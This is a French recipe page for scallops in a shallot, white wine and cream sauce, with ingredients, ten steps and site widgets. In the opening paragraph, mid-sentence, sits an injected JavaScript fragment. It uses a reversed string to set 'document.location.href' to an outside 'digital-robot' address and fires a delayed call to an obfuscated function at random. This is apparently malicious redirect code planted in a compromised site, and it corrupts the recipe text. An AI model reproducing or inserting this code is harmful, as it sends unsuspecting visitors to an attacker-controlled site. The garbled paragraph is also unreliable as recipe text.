Noix Saint-Jacques à la crème

2021-05-07

Pelez, émincez les échalotes. Dans une poêle avec une noix de beurre et 1 cuillère à soupe de colza. Faites revenir les échalotes, sur feu moyen tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant et sans coloration.

Ingrédients

  • Pour 4 personnes
  • 20 noix Saint-Jacques
  • 50 g de beurre doux
  • 10 cl de vin blanc
  • 10 brins de ciboulettes ciselées
  • 3 échalotes
  • 35 cl de crème fleurette
  • Sel Poivre du moulin
  • 1 jus de citron

Préparation de la recette

Etape 1

Pelez, émincez les échalotes.

Etape 2

Dans une poêle avec une noix de beurre et 1 cuillère à soupe de colza.

Etape 3

Faites revenir les échalotes, sur feu moyen tout en remuant et sans coloration.

Etape 4

Mouillez avec le vin blanc.

Etape 5

Portez à ébullition et Laissez réduire de moitié sur feu doux.

Etape 6

Versez la crème fleurette tout en mélangeant.

Etape 7

Ajoutez les ciboulettes ciselées. Salez, poivrez.

Etape 8

Dans une autre poêle avec du beurre, sur feu vif, faites cuire les noix Saint-Jacques pendant 1 minutes de chaque côté.

Etape 9

Déposez 5 noix de Saint-Jacques dans chaque assiette, versez la sauce chaude dessus.

Etape 10

Dégustez rapidement.

Note des membres

(0 / 5)

0 5 0
Notez cette recette

0 personne(s) ont noté cette recette

Related Recipes:
  • image de thon de fromage et d'un épis de maïs

    Cassolette de thon

  • image d'un homard et de pâtes

    Pâtes fraîches au homard

  • Pâtes aux coques

    Pâtes aux coques

  • Salade de spaghettis avec du saumon

    Salade de spaghettis avec du saumon

  • Rillettes de saumon à l’aneth

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *